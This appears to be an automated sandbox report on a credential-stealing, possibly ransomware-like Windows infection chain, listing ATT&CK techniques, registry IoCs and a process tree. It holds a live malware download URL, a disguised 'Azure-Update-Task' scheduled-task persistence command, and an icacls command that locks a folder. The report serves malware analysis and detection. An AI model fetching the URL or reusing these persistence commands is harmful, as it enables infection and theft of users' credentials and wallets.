djvu | hxxp://guluiiiimnstrannaer[.]net/dl/6523[.]exe

System Information Discovery

Processes:

4E3F.exe4E3F.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	4E3F.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	4E3F.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

1648 regsvr32.exe
1348 build2.exe
1348 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

1232 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1648	regsvr32.exe
1348	build2.exe
1348	build2.exe

pid	process
1232	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

4E3F.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\ddf371d5-d84d-416e-8954-bb8bd3f40b45\\4E3F.exe\" --AutoStart"	4E3F.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

43 api.2ip.ua
44 api.2ip.ua
55 api.2ip.ua

flow	ioc
43	api.2ip.ua
44	api.2ip.ua
55	api.2ip.ua

Suspicious use of SetThreadContext 3 IoCs

Processes:

4E3F.exe4E3F.exebuild2.exe

description	pid	process	target process
PID 4628 set thread context of 1672	4628	4E3F.exe	4E3F.exe
PID 2708 set thread context of 5116	2708	4E3F.exe	4E3F.exe
PID 4888 set thread context of 1348	4888	build2.exe	build2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 10 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2280	4124	WerFault.exe	545B.exe
4748	4124	WerFault.exe	545B.exe
2548	4124	WerFault.exe	545B.exe
2260	4124	WerFault.exe	545B.exe
2152	4124	WerFault.exe	545B.exe
5056	4124	WerFault.exe	545B.exe
4608	4124	WerFault.exe	545B.exe
2712	4124	WerFault.exe	545B.exe
4908	4124	WerFault.exe	545B.exe
4952	956	WerFault.exe	jbuijvh

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

572A.exeaguijvh6523.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	572A.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	572A.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aguijvh
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aguijvh
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aguijvh
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6523.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6523.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6523.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	572A.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4196 schtasks.exe
2588 schtasks.exe

pid	process
4196	schtasks.exe
2588	schtasks.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

Processes:

iexplore.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = e8baa059b9aed801	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "276223997"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30988565"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "371778695"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988565"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 005f391215d9d801	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b1421600000000020000000000106600000001000020000000cf7a8c0a5cf6d7d8d2ccab53e03019a0e3a8ecc17eda53a7306182aad6e500ca000000000e80000000020000200000001a6a066894888440d212c850687f16933a9199442f3884ecb422792017bcc05920000000f7a165e61c90775b5ea6a111f1ed77891769b0b05cc45d44a5bf32cbc49a08eb40000000823ac7d920825c91270f22824b20ec98a827ee443ebf0899f90196ea06b46ffb3dee238e57b24c431963ad7329c5fa63bca0336d0dc379036d1345df7c25027d	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\RepId	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\RepId\PublicId = "{78626B88-B4DD-4708-A2B7-6DFC35DC36E2}"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b14216000000000200000000001066000000010000200000003e713b3d39cf19e1cd5051864c469d24794d8b43f1d00fd7b98d1ced9598e08a000000000e80000000020000200000007b338f4ef75f2d998b314d06b5a01f02f572f1257cbb6e1ed106a40e40081f0520000000857bc129e98176e77009b3379e62a38b92d90211e667ab63fd6833aaed1f1b7c40000000448d33cd2b2afe90b8b8990359f860401d8497c57e2db0ca51d1cc3ac87475de377dd19023a7eef35a523fedb8ef3f0326c5b38b9b7a8fa32458b99e0b57c27e	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 304c261215d9d801	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{3BD9D3A7-4508-11ED-B696-DAE60F07E07D} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "276223997"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

6523.exe

pid	process
3200	6523.exe
3200	6523.exe
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372
372

Suspicious behavior: MapViewOfSection 29 IoCs

Processes:

6523.exe572A.exeaguijvhexplorer.exeexplorer.exe

pid	process
3200	6523.exe
372
372
372
372
2196	572A.exe
1092	aguijvh
372
372
372
372
3120	explorer.exe
3120	explorer.exe
372
372
372
372
2660	explorer.exe
2660	explorer.exe
372
372
372
372
372
372
372
372
372
372

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wmic.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeIncreaseQuotaPrivilege	2640	wmic.exe
Token: SeSecurityPrivilege	2640	wmic.exe
Token: SeTakeOwnershipPrivilege	2640	wmic.exe
Token: SeLoadDriverPrivilege	2640	wmic.exe
Token: SeSystemProfilePrivilege	2640	wmic.exe
Token: SeSystemtimePrivilege	2640	wmic.exe
Token: SeProfSingleProcessPrivilege	2640	wmic.exe
Token: SeIncBasePriorityPrivilege	2640	wmic.exe
Token: SeCreatePagefilePrivilege	2640	wmic.exe
Token: SeBackupPrivilege	2640	wmic.exe
Token: SeRestorePrivilege	2640	wmic.exe
Token: SeShutdownPrivilege	2640	wmic.exe
Token: SeDebugPrivilege	2640	wmic.exe
Token: SeSystemEnvironmentPrivilege	2640	wmic.exe
Token: SeRemoteShutdownPrivilege	2640	wmic.exe
Token: SeUndockPrivilege	2640	wmic.exe
Token: SeManageVolumePrivilege	2640	wmic.exe
Token: 33	2640	wmic.exe
Token: 34	2640	wmic.exe
Token: 35	2640	wmic.exe
Token: 36	2640	wmic.exe
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeIncreaseQuotaPrivilege	2640	wmic.exe
Token: SeSecurityPrivilege	2640	wmic.exe
Token: SeTakeOwnershipPrivilege	2640	wmic.exe
Token: SeLoadDriverPrivilege	2640	wmic.exe
Token: SeSystemProfilePrivilege	2640	wmic.exe
Token: SeSystemtimePrivilege	2640	wmic.exe
Token: SeProfSingleProcessPrivilege	2640	wmic.exe
Token: SeIncBasePriorityPrivilege	2640	wmic.exe
Token: SeCreatePagefilePrivilege	2640	wmic.exe
Token: SeBackupPrivilege	2640	wmic.exe
Token: SeRestorePrivilege	2640	wmic.exe
Token: SeShutdownPrivilege	2640	wmic.exe
Token: SeDebugPrivilege	2640	wmic.exe
Token: SeSystemEnvironmentPrivilege	2640	wmic.exe
Token: SeRemoteShutdownPrivilege	2640	wmic.exe
Token: SeUndockPrivilege	2640	wmic.exe
Token: SeManageVolumePrivilege	2640	wmic.exe
Token: 33	2640	wmic.exe
Token: 34	2640	wmic.exe
Token: 35	2640	wmic.exe
Token: 36	2640	wmic.exe
Token: SeShutdownPrivilege	372
Token: SeCreatePagefilePrivilege	372
Token: SeIncreaseQuotaPrivilege	3956	WMIC.exe
Token: SeSecurityPrivilege	3956	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

iexplore.exe

pid process

1584 iexplore.exe
1584 iexplore.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1584 iexplore.exe
1584 iexplore.exe
3104 IEXPLORE.EXE
3104 IEXPLORE.EXE

pid	process
1584	iexplore.exe
1584	iexplore.exe

pid	process
1584	iexplore.exe
1584	iexplore.exe
3104	IEXPLORE.EXE
3104	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

iexplore.exe4E3F.exeregsvr32.exe4E3F.exe545B.execmd.execmd.exe4E3F.exe

description	pid	process	target process
PID 1584 wrote to memory of 3104	1584	iexplore.exe	IEXPLORE.EXE
PID 1584 wrote to memory of 3104	1584	iexplore.exe	IEXPLORE.EXE
PID 1584 wrote to memory of 3104	1584	iexplore.exe	IEXPLORE.EXE
PID 1584 wrote to memory of 3200	1584	iexplore.exe	6523.exe
PID 1584 wrote to memory of 3200	1584	iexplore.exe	6523.exe
PID 1584 wrote to memory of 3200	1584	iexplore.exe	6523.exe
PID 372 wrote to memory of 4628	372		4E3F.exe
PID 372 wrote to memory of 4628	372		4E3F.exe
PID 372 wrote to memory of 4628	372		4E3F.exe
PID 372 wrote to memory of 4124	372		545B.exe
PID 372 wrote to memory of 4124	372		545B.exe
PID 372 wrote to memory of 4124	372		545B.exe
PID 372 wrote to memory of 2196	372		572A.exe
PID 372 wrote to memory of 2196	372		572A.exe
PID 372 wrote to memory of 2196	372		572A.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 4628 wrote to memory of 1672	4628	4E3F.exe	4E3F.exe
PID 372 wrote to memory of 4796	372		regsvr32.exe
PID 372 wrote to memory of 4796	372		regsvr32.exe
PID 4796 wrote to memory of 1648	4796	regsvr32.exe	regsvr32.exe
PID 4796 wrote to memory of 1648	4796	regsvr32.exe	regsvr32.exe
PID 4796 wrote to memory of 1648	4796	regsvr32.exe	regsvr32.exe
PID 372 wrote to memory of 4792	372		explorer.exe
PID 372 wrote to memory of 4792	372		explorer.exe
PID 372 wrote to memory of 4792	372		explorer.exe
PID 372 wrote to memory of 4792	372		explorer.exe
PID 372 wrote to memory of 1364	372		explorer.exe
PID 372 wrote to memory of 1364	372		explorer.exe
PID 372 wrote to memory of 1364	372		explorer.exe
PID 1672 wrote to memory of 1232	1672	4E3F.exe	icacls.exe
PID 1672 wrote to memory of 1232	1672	4E3F.exe	icacls.exe
PID 1672 wrote to memory of 1232	1672	4E3F.exe	icacls.exe
PID 1672 wrote to memory of 2708	1672	4E3F.exe	4E3F.exe
PID 1672 wrote to memory of 2708	1672	4E3F.exe	4E3F.exe
PID 1672 wrote to memory of 2708	1672	4E3F.exe	4E3F.exe
PID 4124 wrote to memory of 2640	4124	545B.exe	wmic.exe
PID 4124 wrote to memory of 2640	4124	545B.exe	wmic.exe
PID 4124 wrote to memory of 2640	4124	545B.exe	wmic.exe
PID 4124 wrote to memory of 4224	4124	545B.exe	cmd.exe
PID 4124 wrote to memory of 4224	4124	545B.exe	cmd.exe
PID 4124 wrote to memory of 4224	4124	545B.exe	cmd.exe
PID 4224 wrote to memory of 3956	4224	cmd.exe	WMIC.exe
PID 4224 wrote to memory of 3956	4224	cmd.exe	WMIC.exe
PID 4224 wrote to memory of 3956	4224	cmd.exe	WMIC.exe
PID 4124 wrote to memory of 1872	4124	545B.exe	cmd.exe
PID 4124 wrote to memory of 1872	4124	545B.exe	cmd.exe
PID 4124 wrote to memory of 1872	4124	545B.exe	cmd.exe
PID 1872 wrote to memory of 2644	1872	cmd.exe	WMIC.exe
PID 1872 wrote to memory of 2644	1872	cmd.exe	WMIC.exe
PID 1872 wrote to memory of 2644	1872	cmd.exe	WMIC.exe
PID 2708 wrote to memory of 5116	2708	4E3F.exe	4E3F.exe
PID 2708 wrote to memory of 5116	2708	4E3F.exe	4E3F.exe
PID 2708 wrote to memory of 5116	2708	4E3F.exe	4E3F.exe
PID 2708 wrote to memory of 5116	2708	4E3F.exe	4E3F.exe
PID 2708 wrote to memory of 5116	2708	4E3F.exe	4E3F.exe
PID 2708 wrote to memory of 5116	2708	4E3F.exe	4E3F.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://guluiiiimnstrannaer.net/dl/6523.exe
1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1584

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1584 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3104

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\G3YCTSQY\6523.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\G3YCTSQY\6523.exe"
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3200

C:\Users\Admin\AppData\Local\Temp\4E3F.exe
C:\Users\Admin\AppData\Local\Temp\4E3F.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4628

C:\Users\Admin\AppData\Local\Temp\4E3F.exe
C:\Users\Admin\AppData\Local\Temp\4E3F.exe
2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\ddf371d5-d84d-416e-8954-bb8bd3f40b45" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:1232

C:\Users\Admin\AppData\Local\Temp\4E3F.exe
"C:\Users\Admin\AppData\Local\Temp\4E3F.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2708

C:\Users\Admin\AppData\Local\Temp\4E3F.exe
"C:\Users\Admin\AppData\Local\Temp\4E3F.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:5116

C:\Users\Admin\AppData\Local\bf44a20b-661c-4366-ac7b-86af9b7d9e60\build2.exe
"C:\Users\Admin\AppData\Local\bf44a20b-661c-4366-ac7b-86af9b7d9e60\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4888

C:\Users\Admin\AppData\Local\bf44a20b-661c-4366-ac7b-86af9b7d9e60\build2.exe
"C:\Users\Admin\AppData\Local\bf44a20b-661c-4366-ac7b-86af9b7d9e60\build2.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1348

C:\Users\Admin\AppData\Local\bf44a20b-661c-4366-ac7b-86af9b7d9e60\build3.exe
"C:\Users\Admin\AppData\Local\bf44a20b-661c-4366-ac7b-86af9b7d9e60\build3.exe"
5⤵
- Executes dropped EXE
PID:3532

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
6⤵
- Creates scheduled task(s)
PID:4196

C:\Users\Admin\AppData\Local\Temp\545B.exe
C:\Users\Admin\AppData\Local\Temp\545B.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 440
2⤵
- Program crash
PID:2280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 436
2⤵
- Program crash
PID:4748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 436
2⤵
- Program crash
PID:2548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 676
2⤵
- Program crash
PID:2260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 760
2⤵
- Program crash
PID:2152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 876
2⤵
- Program crash
PID:5056

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 1308
2⤵
- Program crash
PID:4608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 1296
2⤵
- Program crash
PID:2712

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:4224

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
3⤵
PID:2644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 140
2⤵
- Program crash
PID:4908

C:\Users\Admin\AppData\Local\Temp\572A.exe
C:\Users\Admin\AppData\Local\Temp\572A.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2196

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\5C5B.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4796

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\5C5B.dll
2⤵
- Loads dropped DLL
PID:1648

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:4792

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4124 -ip 4124
1⤵
PID:1176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4124 -ip 4124
1⤵
PID:1236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4124 -ip 4124
1⤵
PID:4216

C:\Windows\SysWOW64\WerFault.exe
